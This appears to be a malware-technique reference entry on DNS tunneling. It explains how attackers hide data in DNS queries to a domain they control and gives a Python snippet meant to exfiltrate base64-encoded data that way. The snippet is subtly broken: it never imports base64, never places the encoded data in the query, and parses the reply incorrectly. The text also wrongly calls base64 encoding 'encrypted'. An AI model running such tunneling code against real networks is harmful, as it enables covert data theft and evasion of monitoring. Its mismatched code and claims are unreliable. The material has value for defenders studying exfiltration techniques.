DNS Tunneling

Created the Tuesday 23 April 2019. Updated 6 months, 2 weeks ago.

DNS tunneling is a technique that uses the Domain Name System (DNS) protocol to transfer data in an encrypted and covert manner. It involves encoding the data of other programs or protocols in DNS queries and responses, and using DNS servers as a means of communication.

To carry out DNS tunneling, the attacker typically needs access to a compromised system with external network connectivity and an internal DNS server with network access. The attacker also needs to control a domain and a server that can act as an authoritative DNS server in order to execute the server-side tunneling and data payload programs.

DNS tunneling can be used for various purposes, such as to control remote servers and applications, transfer data, or bypass firewall restrictions. It can be difficult to detect, as the DNS protocol is commonly used for legitimate purposes and is typically not heavily scrutinized by security systems.

Technique Identifiers

U0905 T1048.003

Technique Tags

DNS tunneling Domain Name System (DNS) Data transfer Encrypted Covert External network connectivity Authoritative DNS server Server-side tunneling

Code Snippets

Description

This code uses the dnslib and socket modules to encode the specified data as a base64 string and send it as a DNS query to the specified DNS server. The DNS query uses the domain name and subdomain that the attacker controls, with the encoded data as the subdomain label. The code then receives a DNS response from the server, decodes the data payload, and prints it.

import dnslib
import socket

# Replace with the IP address of the DNS server
dns_server = "8.8.8.8"

# Replace with the domain name and subdomain that you control
domain_name = "example.com"
subdomain = "tunnel"

# Replace with the data that you want to transfer
data = b"hello"

# Encode the data as a base64 string
encoded_data = base64.b64encode(data)

# Create a DNS query with the encoded data as the subdomain label
query = dnslib.DNSRecord.question(subdomain + "." + domain_name)

# Send the DNS query to the DNS server
dns_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
dns_socket.sendto(query.pack(), (dns_server, 53))

# Receive the DNS response from the DNS server
response = dnslib.DNSRecord.parse(dns_socket.recv(4096))

# Decode the DNS response and extract the data payload
decoded_data = base64.b64decode(response.rr[0].rdata.label)

# Print the decoded data
print(decoded_data)

Additional Resources

External Links

The resources provided below are associated links that will give you even more detailed information and research on current evasion technique. It is important to note that, while these resources may be helpful, it is important to exercise caution when following external links. As always, be careful when clicking on links from unknown sources, as they may lead to malicious content.